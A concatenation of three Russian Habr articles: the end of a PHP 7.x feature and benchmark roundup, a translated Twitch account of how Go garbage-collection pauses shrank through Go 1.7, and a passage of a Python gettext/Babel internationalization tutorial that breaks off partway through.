[**Всегда доступное хеш расширение**](https://wiki.php.net/rfc/permanent_hash_ext)
Это делает хеш расширение (`ext/hash`) всегда доступным, схожим образом с `date`. Хеш расширение предоставляет очень ценную утилиту со множеством алгоритмов хеширования, которая чрезвычайно полезна в современных приложениях, причем не только в коде юзерленда, но и во многих случаях во внутреннем коде.
На пути к PHP 8.0
-----------------
[**JIT**](https://wiki.php.net/rfc/jit)
В двух словах, когда вы запускаете PHP программу, Zend Engine парсит код в абстрактное синтаксическое дерево (abstract syntax tree - AST) и преобразует его в опкоды. Опкоды - это **единицы выполнения для виртуальной машины** Zend (Zend VM). Опкоды довольно низкоуровневые, поэтому их гораздо быстрее переводить в машинный код, чем исходный код PHP. В ядре PHP есть расширение OPcache для кеширования этих опкодов.
***«JIT» - это метод, который компилирует части кода во время выполнения, так что вместо них можно использовать скомпилированную версию.***
Это одна из последних и самых больших стратегий оптимизации PHP, которая все еще актуальна. Инженеры PHP с нетерпением ждут возможности увидеть, сколько новый подход сможет выжать из их приложений. Очень хочу увидеть это сам.
[**Стабильные typeErrors для внутренних функций**](https://wiki.php.net/rfc/consistent_type_errors)
Сделайте так, чтобы API синтаксического анализа внутренних параметров всегда генерировали `TypeError`, если синтаксический анализ завершается неудачно. Следует отметить, что это также включает `ArgumentCountError` (дочерний элемент `TypeError`) для случаев, когда было передано слишком мало/много аргументов.
Сравнение производительности
----------------------------
Я составил простой тест, который поможет легко сравнить производительность различных версий PHP (с использованием Docker). Он даже позволил бы легко проверять производительность новых версий PHP, просто добавляя новые имена контейнеров.
Тестировалось на Macbook pro, Intel Core i7 2,5 ГГц.
```
PHP version : 5.6.40
--------------------------------------
test_math : 1.101 sec.
test_stringmanipulation : 1.144 sec.
test_loops : 1.736 sec.
test_ifelse : 1.122 sec.
Mem: 429.4609375 kb Peak mem: 687.65625 kb
--------------------------------------
Total time: : 5.103
PHP version : 7.0.33
--------------------------------------
test_math : 0.344 sec.
test_stringmanipulation : 0.516 sec.
test_loops : 0.477 sec.
test_ifelse : 0.373 sec.
Mem: 421.0859375 kb Peak mem: 422.2109375 kb
--------------------------------------
Total time: : 1.71
PHP version : 7.1.28
--------------------------------------
test_math : 0.389 sec.
test_stringmanipulation : 0.514 sec.
test_loops : 0.501 sec.
test_ifelse : 0.464 sec.
Mem: 420.9375 kb Peak mem: 421.3828125 kb
--------------------------------------
Total time: : 1.868
PHP version : 7.2.17
--------------------------------------
test_math : 0.264 sec.
test_stringmanipulation : 0.391 sec.
test_loops : 0.182 sec.
test_ifelse : 0.252 sec.
Mem: 456.578125 kb Peak mem: 457.0234375 kb
--------------------------------------
Total time: : 1.089
PHP version : 7.3.4
--------------------------------------
test_math : 0.233 sec.
test_stringmanipulation : 0.317 sec.
test_loops : 0.171 sec.
test_ifelse : 0.263 sec.
Mem: 459.953125 kb Peak mem: 460.3984375 kb
--------------------------------------
Total time: : 0.984
PHP version : 7.4.0-dev
--------------------------------------
test_math : 0.212 sec.
test_stringmanipulation : 0.358 sec.
test_loops : 0.205 sec.
test_ifelse : 0.228 sec.
Mem: 459.6640625 kb Peak mem: 460.109375 kb
--------------------------------------
Total time: : 1.003
```
Если вы хотите запустить тесты сами, вы можете найти код в репозитории ниже.
[**meskis/php-bench**](meskis/php-bench)
Бенчмарки от PHP 5.6 и выше
---------------------------
Мне очень понравилась компиляция визуальной производительности всех основных версий от 5.6 и выше от [servebolt.com](https://servebolt.com/articles/wordpress-5-0-php-7-2-vs-php-7-3-performance-and-speed-benchmark/). См. результаты в таблицах ниже.
Сводка по производительности
----------------------------
PHP 7.0.0 стал важной вехой со значительно улучшенной производительностью и меньшим использованием памяти, но у специалистов по сопровождению уже PHP попросту заканчиваются идеи по его улучшению. Один из оставшихся моментов - JIT (Just in time) компиляция. И она придет с PHP 8.0.
Направление развития
--------------------
В версиях PHP 7.x прослеживается путь к более типизированному (и немного более объектному) и современному языку программирования. PHP любит перенимать изящные и полезные функции других языков программирования.
Вскоре мы можем увидеть еще несколько замечательных функций, таких как:
* [Именованные аргументы](https://wiki.php.net/rfc/simplified_named_params)
* [Null безопасные вызовы](https://wiki.php.net/rfc/nullsafe_calls)
* [Перечислимые типы (ENUM)](https://wiki.php.net/rfc/enum)
* [Стрелочные функции](https://wiki.php.net/rfc/arrow_functions)
С их появлением в конвейере разработчики PHP присоединятся к группе пользователей современного языка. Идеального языка не существует, но PHP уверенно прокладывает путь в будущее.
TL;DR
-----
Чтобы еще больше все сократить, я выбрал наиболее важные по моему мнению изменения, учитывая последнюю версию на момент написания статьи - **PHP 7.3**. Вот они:
* [**Добавлен новый оператор объединения с null**](https://wiki.php.net/rfc/isset_ternary)
* [**Объявления скалярных типов**](https://wiki.php.net/rfc/scalar_type_hints_v5)
* [**Объявления типов возвращаемых значений**](https://wiki.php.net/rfc/return_types)
* [**Интерфейс Throwable**](https://wiki.php.net/rfc/throwable-interface)
* [**Обнуляемые типы**](https://wiki.php.net/rfc/nullable_types)
* [**Ничего не возвращающие функции**](https://wiki.php.net/rfc/void_return_type)
* [***Синтаксис квадратных скобок для деструктуририрующего присваивания в массиве***](https://wiki.php.net/rfc/short_list_syntax)
* [***Видимость констант класса***](https://wiki.php.net/rfc/class_const_visibility)
### Ссылки
<https://wiki.php.net/rfc>
<https://www.cloudways.com/blog/php-5-6-vs-php-7-symfony-benchmarks/>
<https://servebolt.com/articles/wordpress-5-0-php-7-2-vs-php-7-3-performance-and-speed-benchmark/>
---
[**Узнать подробнее о курсе**](https://otus.pw/mGPb/).
--- | https://habr.com/ru/post/524990/ | null | ru | null |
# Путь Go: как ускорялась сборка мусора
Язык [Go](https://golang.org/) в [Twitch](https://www.twitch.tv/) используется во многих нагруженных системах. Простота, безопасность, производительность и читабельность делают его хорошим инструментом для решения проблем, с которыми сталкиваются сервисы, например при стриминге видео и обслуживании переписки миллионов пользователей.
Но эта статья — не очередное воспевание Go. Она о том, как наше использование этого языка раздвигает некоторые границы текущей реализации runtime’а и как мы реагируем на достижение этих границ.
Это история о том, как улучшение runtime’а с Go 1.4 по Go 1.6 дало нам 20-кратное уменьшение пауз при работе сборщика мусора, как мы получили ещё 10-кратное уменьшение пауз в Go 1.6 и как, передав наш опыт команде разработчиков, работающей над runtime’ом Go, обеспечили 10-кратное ускорение в Go 1.7 без дополнительных ручных настроек с нашей стороны.
Начало саги о паузах на сборку мусора
=====================================
Наша система чата на базе IRC впервые была реализована на Go в конце 2013 года. Она пришла на смену предыдущей реализации на Python. Для её создания использовались пререлизные версии Go 1.2, и система была способна одновременно обслуживать до 500 000 пользователей с каждого физического хоста без особых ухищрений.
При обслуживании каждого соединения группой из трёх горутин (легковесные потоки выполнения в Go) программа утилизировала 1 500 000 горутин на один процесс. И даже при таком их количестве единственной серьёзной проблемой в производительности, с которой мы столкнулись в версиях до Go 1.2, была продолжительность пауз на сборку мусора. Приложение останавливалось на десятки секунд при каждом запуске сборщика, а это было недопустимо для нашего интерактивного чат-сервиса.
Мало того что каждая пауза на сборку мусора обходилась очень дорого, так ещё и сборка запускалась по несколько раз в минуту. Мы потратили много сил на снижение количества и размера выделяемых блоков памяти, чтобы сборщик запускался реже. Для нас стало победой увеличение кучи (heap) лишь на 50% каждые две минуты. И хотя пауз стало меньше, они оставались очень продолжительными.
После релиза Go 1.2 паузы сократились «всего» до нескольких секунд. Мы распределили трафик по большему количеству процессов, что позволило уменьшить продолжительность пауз до более комфортного значения.
Работа над уменьшением выделений памяти на нашем чат-сервере продолжает приносить пользу и сейчас, несмотря на развитие Go, но разбиение на несколько процессов — обходное решение только для определённых версий Go. Подобные ухищрения не выдерживают испытания временем, но важны для решения сиюминутных задач по обеспечению качественного сервиса. И если мы будем делиться друг с другом опытом использования обходных решений, то это поможет сделать в runtime’е Go улучшения, которые принесут пользу всему сообществу, а не одной программе.
Начиная с Go 1.5 в августе 2015-го сборщик мусора Go стал работать по большей части конкуррентно и инкрементально. Это означает, что почти вся работа выполняется без полной остановки приложения. Кроме того что фазы подготовки и прерывания достаточно короткие, наша программа продолжает работать в то время, как процесс сборки мусора уже идёт. Переход на Go 1.5 моментально привёл к 10-кратному уменьшению пауз в нашей чат-системе: при большой нагрузке в тестовом окружении с двух секунд до приблизительно 200 мс.
Go 1.5 — новая эра сборки мусора
================================
Хотя уменьшение задержки в Go 1.5 само по себе стало для нас праздником, самым лучшим свойством нового сборщика мусора оказалось то, что он подготовил почву для дальнейших последовательных улучшений.
Сборка мусора в Go 1.5 по-прежнему состоит из двух основных фаз:
* Mark — сначала помечаются те участки памяти, которые ещё используются;
* Sweep — все неиспользуемые участки подготавливаются к повторному использованию.
Но каждая из этих фаз теперь состоит из двух стадий:
* Mark:
+ приложение приостанавливается, ожидая завершения предыдущей sweep-фазы;
+ затем одновременно с работой приложения выполняется поиск используемых блоков памяти.
* Sweep:
+ приложение снова ставится на паузу для прерывания mark-фазы;
+ одновременно с работой приложения неиспользуемая память постепенно подготавливается к переиспользованию.
Runtime-функция `gctrace` позволяет вывести на экран информацию с результатами по каждой итерации сборки мусора, включая продолжительность всех фаз. Для нашего чат-сервера она показала, что бOльшая часть паузы приходится на прерывание mark-фазы, поэтому мы решили сосредоточить на этом своё внимание. И хотя группа разработчиков Go, отвечающая за runtime, запросила баг-репорты из приложений, в которых наблюдаются длинные паузы на сборку мусора, мы оказались разгильдяями и сохранили это в секрете!
Конечно, нам нужно было собрать больше подробностей о работе сборщика во время пауз. Основные пакеты в Go включают в себя замечательный [CPU-профилировщик пользовательского уровня](https://blog.golang.org/profiling-go-programs), но для своей задачи мы воспользовались инструментом perf из Linux. Во время нахождения в ядре он позволяет получать семплы с более высокой частотой и видимостью. Мониторинг циклов в ядре может помочь нам отладить медленные системные вызовы и сделать прозрачным управление виртуальной памятью.
Ниже показана часть профиля нашего чат-сервера, работающего на Go 1.5.1. [График](http://www.brendangregg.com/FlameGraphs/cpuflamegraphs.html) (Flame Graph) построен с помощью [инструмента Брендана Грегга](https://github.com/brendangregg/FlameGraph). Включены только те семплы, в стеке которых есть функция `runtime.gcMark`, в Go 1.5 аппроксимирующая время, потраченное на прерывание mark-фазы.
Пики на графике показывают увеличение глубины стека, а ширина каждой секции отражает время работы CPU. На цвета и порядок по оси Х не обращайте внимания, они не имеют значения. В левой части графика мы видим, что почти в каждом из семпловых стеков `runtime.gcMark` вызывает `runtime.parfordo`. Посмотрев выше, замечаем, что бо̒льшую часть времени занимают совершаемые `runtime.markroot` вызовы `runtime.scang`, `runtime.scanobject` и `runtime.shrinkstack`.
Функция `runtime.scang` предназначена для пересканирования памяти, чтобы помочь завершиться mark-фазе. Суть прерывания заключается в окончании сканирования памяти приложения, так что эта работа совершенно необходима. Лучше придумать, как повысить производительность других функций.
Переходим к `runtime.scanobject`. У этой функции несколько задач, но её выполнение во время прерывания mark-фазы в Go 1.5 нужно для реализации финализаторов (функция, выполняемая перед удалением объекта сборщиком мусора. — Примеч. переводчика). Вы можете спросить: «Почему программа использует так много финализаторов, что они заметно влияют на длительность пауз при сборке мусора?» В данном случае приложение — это чат-сервер, обрабатывающий сообщения от сотен тысяч пользователей. Основной «сетевой» пакет в Go прикрепляет по финализатору к каждому TCP-соединению для помощи в управлении утечками файловых дескрипторов. А поскольку каждый пользователь получает собственное TCP-соединение, то это вносит небольшой вклад в продолжительность прерывания mark-фазы.
Нам показалось, что это достойно быть зарепорченным команде Go. Мы написали разработчикам, и они очень помогли нам своими советами, как можно диагностировать проблемы в производительности и как их выделить в минимальные тестовые кейсы. В Go 1.6 разработчики перенесли сканирование финализаторов в параллельную mark-фазу, что позволило уменьшить паузу в приложениях с большим количеством TCP-соединений. Было сделано и много других улучшений, в результате при переходе на Go 1.6 паузы на нашем чат-сервере уменьшились по сравнению с Go 1.5 вдвое — до 100 мс. Прогресс!
Сокращение стека
================
Принятый в Go подход к concurrency подразумевает дешевизну использования большого количества горутин. Если приложение, использующее 10 000 потоков ОС, может работать медленно, для горутин такое количество в порядке вещей. В отличие от традиционных больших стеков фиксированного размера, горутины начинают с очень маленького стека — всего 2 Кб, — который увеличивается по мере необходимости. В начале вызова функции в Go выполняется проверка, достаточно ли размера стека для следующего вызова. И если нет, то перед продолжением вызова стек горутины *перемещается* в более крупную область памяти, с перезаписью указателей в случае необходимости.
Следовательно, по мере работы приложения стеки горутин увеличиваются, чтобы выполнять самые глубокие вызовы. В задачи сборщика мусора входит возвращение неиспользуемой памяти. За перемещение стеков горутин в более подходящие по размеру области памяти отвечает функция `runtime.shrinkstack`, которая в Go 1.5 и 1.6 выполняется во время прерывания mark-фазы, когда приложение стоит на паузе.
Этот график записан на пререлизной версии 1.6 от октября 2015 года. `runtime.shrinkstack` занимает примерно три четверти семплов. Если бы эта функция выполнялась во время работы приложения, то мы получили бы серьёзное сокращение пауз на нашем чат-сервере и других подобных приложениях.
Документация по runtime-пакету Go объясняет, как отключить сокращение стеков. Для нашего чат-сервера потеря какой-то части памяти — небольшая плата за уменьшение пауз на сборку мусора. Мы так и сделали, перейдя на Go 1.6. После отключения сокращения стеков продолжительность пауз снизилась до 30—70 мс, в зависимости от «направления ветра».
Структура и схема работы нашего чат-сервера почти не менялись, но от многосекундных пауз в Go 1.2 мы дошли до 200 мс в Go 1.5, а затем до 100 мс в Go 1.6. В конце концов большинство пауз стали короче 70 мс, то есть мы получили улучшение более чем в 30 раз.
Но наверняка должен быть потенциал для дальнейшего совершенствования. Пришло время опять снимать профиль!
Page fault’ы?!
==============
До этого момента разброс длительности пауз был невелик. Но теперь они стали меняться в широких пределах (от 30 до 70 мс), не коррелируя с любыми результатами `gctrace`. Вот график циклов во время достаточно длинных пауз прерывания mark-фазы:
Когда сборщик мусора вызывает `runtime.gcRemoveStackBarriers`, система генерирует ошибку отсутствия страницы (page fault), что приводит к вызову функции ядра `page_fault`. Это отражает широкая «башня» справа от центра графика. С помощью page fault’ов ядро распределяет страницы виртуальной памяти (обычно размером по 4 Кб) в памяти физической. Зачастую процессы могут размещать огромные объёмы виртуальной памяти, которая преобразуется в резидентную при обращении приложения только посредством page fault’ов.
Функция `runtime.gcRemoveStackBarriers` преобразует память стека, к которой недавно обращалось приложение. Фактически она предназначена для удаления «барьеров стека» (stack barriers), добавленных за некоторое время до этого, в начале цикла сборки мусора. Системе доступно достаточно памяти, она не присваивает физическую память каким-то другим, более активным процессам. Так почему же доступ к ней приводит к ошибкам?
Подсказка может скрываться в нашем оборудовании. Для чат-системы мы используем современные двухпроцессорные серверы. К каждому сокету напрямую подключено несколько банков памяти. Такая конфигурация позволяет реализовать неравномерный доступ к памяти (NUMA, Non-Uniform Memory Access). Когда поток (thread) выполняется в ядре сокета 0, то к подключённой к этому сокету памяти у него доступ быстрее, чем к остальной памяти. Ядро Linux старается уменьшить эту разницу, запуская потоки на том ядре, к которому подключена используемая ими память, и перемещая страницы физической памяти «ближе» к соответствующим потокам.
Учитывая эту схему, давайте повнимательнее изучим поведение функции ядра `page_fault`. Если посмотреть на стек вызова (выше на графике), то увидим, что ядро вызывает `do_numa_page and migrate_misplaced_page`. Это означает, что ядро перемещает память приложения между банками физической памяти.
Ядро Linux подхватило почти бессмысленные паттерны доступа к памяти во время прерывания mark-фазы и из-за них переносит страницы памяти, что дорого нам обходится. Такое поведение очень слабо проявлялось на графике Go 1.5.1, но, когда мы обратили внимание на `runtime.gcRemoveStackBarriers`, стало гораздо заметнее.
Здесь наиболее отчётливо проявились преимущества профилирования с помощью perf. Этот инструмент может показать стеки ядра, в то время как профилировщик Go пользовательского уровня показал бы только, что Go-функции выполняются необъяснимо медленно. Perf гораздо сложнее в использовании, он требует root-доступа для просмотра стеков ядра и в Go 1.5 и 1.6 требует использования нестандартного тулчейна (toolchain) (GOEXPERIMENT=framepointer ./make.bash, в Go 1.7 будет стандартным). Но решение описываемых проблем сто̒ит таких усилий.
Управление миграциями
=====================
Если использование двух сокетов и двух банков памяти вызывает трудности, давайте уменьшим количество. Лучше всего воспользоваться командой `taskset`, которая может заставить приложение работать на ядрах только одного сокета. Поскольку программные потоки обращаются к памяти из единственного сокета, ядро переместит их данные в соответствующие банки.
После привязки к единственному узлу NUMA длительность прерывания mark-фазы снизилась до 10—15 мс. Существенное улучшение по сравнению с 200 мс в Go 1.5 или двумя секундами в Go 1.4. Такой же результат можно получить и без того, чтобы пожертвовать половиной сервера. Достаточно с помощью `set_mempolicy(2)` или `mbind(2)` назначить процессу политику использования памяти `MPOL_BIND`. Приведённый профиль был получен на пререлизной версии Go 1.6 в октябре 2015 года. В левой части видно, что выполнение `runtime.freeStackSpans` занимает немало времени. После того как эта функция была перенесена в параллельно выполняемую фазу сборки мусора, она больше не влияет на длительность паузы. Мало что теперь можно удалить из стадии прерывания mark-фазы!
Go 1.7
======
Вплоть до Go 1.6 мы отключали функцию сокращения стека. Это оказывало минимальное воздействие на использование памяти нашим чат-сервером, но существенно повышало операционную сложность. Для некоторых приложений уменьшение стека играет очень большую роль, поэтому мы отключали эту функцию очень избирательно. В Go 1.7 стек теперь уменьшается прямо во время работы приложения. Так что мы получили всё самое лучшее из двух миров: малое потребление памяти без специальных настроек.
С момента появления параллельно выполняемого сборщика мусора в Go 1.5 runtime отслеживает, выполнялась ли каждая горутина после его последнего сканирования. Во время прерывания mark-фазы снова выявляются горутины, которые недавно выполнялись, и подвергаются сканированию. В Go 1.7 runtime поддерживает отельный короткий список таких горутин. Это позволяет больше не искать по всему списку горутин, когда код ставится на паузу, и сильно сокращает количество обращений к памяти, которые могут запустить миграцию памяти в соответствии с алгоритмами NUMA.
Наконец, компиляторы для архитектуры AMD64 по умолчанию поддерживают указатели фреймов, так что стандартные инструменты отладки и повышения производительности, наподобие perf, могут определять текущий стек вызова функций. Пользователи, создающие свои приложения с помощью подготовленных для их платформы пакетов Go, при необходимости смогут выбрать более продвинутые инструменты без изучения процедуры ребилда тулчейна и ребилда/переразвёртывания своих приложений. Это сулит хорошее будущее с точки зрения дальнейших улучшений производительности основных пакетов и runtime’а Go, когда инженеры вроде меня и вас смогут собирать достаточно информации для качественных репортов.
В пререлизной версии Go 1.7 от июня 2016 года паузы на сборку мусора стали ещё меньше, причём безо всяких дополнительных ухищрений. У нашего сервера они «из коробки» приблизились к 1 мс — в десять раз меньше по сравнению с настроенной конфигурацией Go 1.6!
Наш опыт помог команде разработчиков Go найти постоянное решение проблем, с которыми мы сталкивались. Для приложений, подобных нашему, при переходе с Go 1.5 на 1.6 профилирование и настройка позволили в десять раз уменьшить паузы. Но в Go 1.7 разработчики смогли достичь уже 100-кратной разницы по сравнению с Go 1.5. Снимаем шляпу перед их стараниями улучшить производительность runtime’а.
Что дальше
==========
Весь этот анализ посвящён проклятью нашего чат-сервера — паузам в работе, но это лишь одно измерение производительности сборщика мусора. Решив проблему пауз, разработчики Go теперь могут заняться проблемой пропускной способности.
Согласно описанию транзакционного сборщика ([Transaction Oriented Collector](https://docs.google.com/document/d/1gCsFxXamW8RRvOe5hECz98Ftk-tcRRJcDFANj2VwCB0/edit)), в нём применяется подход прозрачного недорогого выделения и сборки памяти, которая не используется совместно горутинами. Это позволит откладывать потребность в полноценном запуске сборщика и снижает общее количество циклов CPU на сборку мусора. | https://habr.com/ru/post/305614/ | null | ru | null |
# Как Youtube и Instagram: интернационализация и локализация приложения на Python
Язык Python лежит в основе всемирно известных приложений, таких как Youtube, Instagram и Pinterest. Для продвижения на мировом рынке приложению необходима локализация, то есть адаптация к особенностям той или иной страны, и интернационализация – перевод контента. В статье мы поделимся опытом, как ускорить автоматизацию перевода и решить некоторые типичные проблемы в этой области.
Введение
--------
Это краткое руководство по интернационализации (i18n) python-приложений. Данное руководство будет интересно всем программистам с опытом разработки на python. Чтение статьи займёт 10-15 минут.
Мы будем пользоваться хорошо протестированным и входящим в состав языка python инструментом gettext.
Для начала разберемся, что такое интернационализация:
Интернационализация (I18N) – это процесс адаптации приложения к языкам различных стран и регионов, отличных от того, в котором оно разрабатывалось.
Но также есть более широкое понятие:
Локализация (L10N) – это процесс адаптации интернационализированного приложения для конкретного региона или языка путем добавления компонентов, специфичных для данной локали и перевода текста.
Локализация означает перевод:
* формата даты и времени;
* числового формата;
* часового пояса;
* календаря;
* представления валюты;
* налогов / НДС;
* температуры и других мер;
* почтовых индексов, телефонов;
* форматирование адреса;
* кода населенного пункта.
Локализация выходит за рамки перевода контента на другой язык. Есть культурные и функциональные параметры, которые также требуют внимания. Например, формат даты в Северной Америке «ММ / ДД / ГГГГ», но в большинстве стран Азии он записывается как «ДД / ММ / ГГГГ».
*Известный пример ошибки при переводе приложения*
Другой пример связан с отображением имен в приложениях. В США называть кого-то по имени приемлемо и даже предпочтительно, имя клиента отображается в заголовке, как только клиент входит в систему. Однако, в Японии всё наоборот: называть кого-то по имени является невежливым или даже оскорбительным. Локализация должна учитывать это и избегать использования имен для японской аудитории.
В данной статье мы рассмотрим только интернационализацию, но механизмы локализации строятся похожим образом. Затронутые в статье библиотеки поддерживают локализацию приложения.
Основные виды
-------------
Интернационализация разделяется на:
1. Перевод данных непосредственно в python-скриптах.
2. Перевод данных в шаблонизаторах.
3. Перевод данных, хранимых в базе данных.
### 1. Перевод данных python-скриптов
Для того, чтобы наша интернационализация работала, нам необходимо разобраться с библиотекой babel и инструментарием distutils для управления сборкой проекта для прода и не только.
#### Подготовка переводов
Начнем с того, что нам необходимо сформировать список переводов. Для начала устанавливаем библиотеку [Babel](http://babel.pocoo.org) – это общепризнанная python-библиотека для локализации и конвертации даты, валюты, с удобными дополнениями для сборки проекта (рассмотренных ниже).
Python предоставляет инструментарий для мультиязычности – gettext. GNU gettext фактически является универсальным решением по локализации, предоставляющим поддержку для других языков программирования в мультиязычных сообщениях. Gettext используется не только во многих языках программирования, но и в переводе операционных систем, это хорошо протестированное, свободно распространяемое ПО, доступное на [github](https://github.com/autotools-mirror/gettext).
Чтобы переводы функционировали, необходимо импортировать модуль gettext и передать на вход скрипты с переводами. Для начала помечаем все переводимые строки специальной функцией \_(‘some\_text’). Вызов этой функции в проекте будет выглядеть так:
```
import gettext
import os
localedir = os.path.join(os.path.abspath('/path/to/locales'), 'locales')
translate = gettext.translation('domain_name', localedir, ['ru'])
_ = translate.gettext
print(_('some_text'))
print(_('some_text_2'))
```
В небольшом фрагменте кода создаём объект интернационализации, который использует каталог ‘locales’ в качестве источника переводимых фраз. Каталог ‘locales’ еще не создан, но именно в нем приложение будет искать переводы во время выполнения.
Для краткости функцию translate.gettext далее будем обозначать в виде \_. Подчеркивание является обычным именем этой функции, которое признано сообществом Python.
Функция \_() помечает строки, которые нужно перевести. Gettext-модуль сопровождается инструментом xgettext, который разбирает строковые маркеры \_() по коду и формирует Portable Object Template (pot-файл). Чтобы создать pot-файл, вернемся к установленной библиотеке Babel, в которой есть множество функций для поддержки интернационализации. Babel расширяет setup.py скрипт для сборки, который можно написать либо с помощью стандартной библиотеки python distutils, либо сторонним пакетом setuptools – на ваш выбор. Сборка модулей Python выходит за рамки нашей статьи, подробнее ознакомиться с этим вопросом можно в [документации](https://docs.python.org/2/distutils/introduction.html). Всё, что нужно – создать setup.py файл со следующим содержимым:
```
from babel.messages import frontend as babel
from distutils.core import setup
setup(name='foo',
version='1.0',
cmdclass = {'extract_messages': babel.extract_messages,
'init_catalog': babel.init_catalog,
'update_catalog': babel.update_catalog,
'compile_catalog': babel.compile_catalog,}
)
```
Таким образом, мы создали инструкции для сборки проекта и добавили четыре команды по интернационализации из библиотеки babel. Рассмотрим эти команды подробнее в порядке очередности использования.
**extract\_messages**
Эта команда является оберткой над инструментом GNU xgettext, который разбирает \_() переводимые метки в pot-файл. Для запуска необходимо несколько настроек для сборки. Для этого в корневой директории создаём файл setup.cfg с содержимым:
```
[extract_messages]
input_dirs = foobar
output_file = foobar/locales/messages.pot
```
* input\_dirs – название директории, из которой будут выбираться все метки в коде \_() для переводов.
* output\_file – путь для результирующего .pot файла
Для запуска команды выполняем в консоли:
```
$ python setup.py extract_messages
```
```
running extract_messages
extracting messages from foobar/__init__.py
extracting messages from foobar/core.py
...
writing PO template file to foobar/locales/messages.pot
```
В pot-файле помеченные строки собираются в список, из которого затем переводчики смогут создать переводы для каждого из желаемых языков.
```
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR ORGANIZATION
# FIRST AUTHOR , YEAR.
#
msgid ""
msgstr ""
"Project-Id-Version: PACKAGE VERSION\n"
"POT-Creation-Date: 2018-01-28 16:47+0000\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME \n"
"Language-Team: LANGUAGE \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Generated-By: pygettext.py 1.5\n"
#: src/main.py:5
msgid "some\_text"
msgstr ""
#: src/main.py:6
msgid "some\_text\_2"
msgstr ""
```
Далее необходимо сформировать переводы для нескольких языков. Для этого используем следующие команды babel.
**init\_catalog**
Эта команда – обертка над инструментом GNU msginit, который создаёт новый каталог переводов, основанный на pot-файле.
```
$ python setup.py init_catalog -l en -i foobar/locales/messages.pot \
-o foobar/locales/en/LC_MESSAGES/base.po
```
```
running init_catalog
creating catalog 'foobar/locales/en/LC_MESSAGES/messages.po' based on 'foobar/locales/messages.pot'
```
**Важно!** Файлы локализации хранятся по определенному пути, в соответствии с конвенцией:
locales//LC\_MESSAGES/.po
– директория с переводами на определенный язык, в нашем случае это английский (en). Также здесь может быть директория с переводами не только на определенный язык, но и с учетом дополнительных особенностей. Например, перевод на английский язык для США – en\_US;
– домен с переводами. Если наше приложение разрастется, переводы будут разделены по доменам, чтобы не перегружать один файл.
**update\_catalog**
Эта команда – обертка над инструментом GNU msgmerge, который обновляет существующие каталоги с переводами для \*.po-файлов.
При добавлении новых переводов просто запускаем команду:
```
$ python setup.py update_catalog -l en -i foobar/locales/messages.pot \
-o foobar/locales/en/LC_MESSAGES/base.po
```
```
running update_catalog
updating catalog 'foobar/locales/en/LC_MESSAGES/base.po' based on 'foobar/locales/messages.pot'
```
Также мы можем указать локализацию на русский, указав ru вместо en.
**compile\_catalog**
Заключительная команда – обертка над инструментом GNU msgfmt. Она берет переводимые сообщения из \*.po файлов и компилирует их в бинарные \*.mo файлы для оптимизации работы.
```
$ python setup.py compile_catalog --directory foobar/locales --domain base
```
```
running compile_catalog
compiling catalog to foobar/locales/en/LC_MESSAGES/base.mo
```
--directory – путь к директории с локализацией,
--domain – флаг для указания домена переводов, указываем в соответствии с существующими доменами приложения.
Скрипты Python работают только с оптимизированными \*.mo переводами. Поэтому при любом изменении, чтобы оно отобразилось в приложении, необходимо перекомпилировать файлы с локализацией. Для работы с файлами переводов можно воспользоваться приложением poedit – оно доступно для всех операционных систем и является свободно распространяемым ПО.
*poedit — приложение для работы с переводами*
Каждый перевод отображается отдельной строкой, и это удобно. По завершении работы с переводами при сохранении изменений автоматически компилируется \*.mo бинарный файл со всеми изменениями.
В итоге структура каталогов переводов у нас будет выглядеть следующим образом:
```
locales
├── en
│ └── LC_MESSAGES
│ ├── base.mo
│ └── base.po
├── ru
│ └── LC_MESSAGES
│ ├── base.mo
│ └── base.po
└── messages.pot
```
**Конвенция названия маркеров переводов**
po-файлы содержат текстовые переводы и объединены логически в файл с общим названием. Эти группы называются доменами. В приведенном выше примере есть только один домен с именем base. В больших приложениях доменов будет больше, и списки переводов необходимо писать с учетом структуры приложения.
Необходимо сохранять единообразие названий маркеров переводов, чтобы исключить дальнейшую путаницу в переводах. Например, у нас есть форма с сохранением данных пользователя на странице профиля пользователя:
*profile.user\_form.component.title: Данные пользователя
profile.user\_form.component.save: Сохранить
profile.user\_form.field.username: Имя пользователя
profile.user\_form.field.password: Пароль*
**Деплой приложения**
Для деплоя и развертывания приложения в docker – нужно выполнить компиляцию файлов переводов в бинарные файлы \*.mo с помощью следующей команды:
```
$ python setup.py compile_catalog --domain <домен>
```
Рекомендуем исключить файлы \*.mo и \*.pot файлы в .gitignore:
*# Translations
\*.mo
\*.pot*
### 2. Перевод данных в шаблонизаторах
C локализацией в шаблонизаторах всё немного проще. Рассмотрим наиболее популярный python-шаблонизатор – jinja. Для данного шаблонизатора уже реализована поддержка gettext-локализации через дополнения. Чтобы активировать дополнение, необходимо прописать в конструкторе Environment путь к модулю дополнения. Для мультиязычных платформ необходимо загрузить переводы один раз и добавить translation-объекты в Environment-объект при инициализации приложения:
```
translations = get_gettext_translations()
env = Environment(extensions=['jinja2.ext.i18n'])
env.install_gettext_translations(translations)
```
Затем в шаблонах просто используем конструкции:
```
{{ gettext('some_text') }}
{{ gettext('Hello %(name)s!')|format(name='World') }}
```
### 3. Перевод данных, хранимых в базе
Рассмотрим варианты работы с переводами в наиболее распространённых реляционных базах. При этом стоит отметить, что реализация переводов и локализации для noSQL и newSQL баз схожая.
*Примечание:* мы не будем рассматривать случай, когда перевод для каждого языка хранится в отдельной колонке. Такая реализация влечет за собой ограничения при масштабировании и другие риски при дальнейшей поддержке приложения.
#### 1) Отдельные строки для каждого языка
При таком подходе для каждого языка перевод на определенный язык в строках основывается на значении столбца, например language\_code. Если в данной колонке стоит значение en, то все переводимые значения должны относиться к данной стране и региону.
Для описанной схемы данные в таблице должны выглядеть следующим образом:
**Преимущества:**
* Простая и эффективная реализация.
* Простые запросы при использовании определенного языкового кода.
**Недостаток:**
* Отсутствие централизации
Переводы на разные языки могут храниться в разных таблицах. Таким образом, вы не знаете, на сколько языков ваше приложение переведено полностью.
Данное решение подходит для приложений, от которых изначально не требуется полная интернационализация всех данных. Но есть возможность добавлять переводы для новых регионов по мере расширения бизнеса.
Запрос на получение данных будет следующим:
```
SELECT p.product_name,
p.price,
p.description
FROM product p
WHERE p.language_code = @language_code;
```
### 2) Отдельные таблицы с переводами
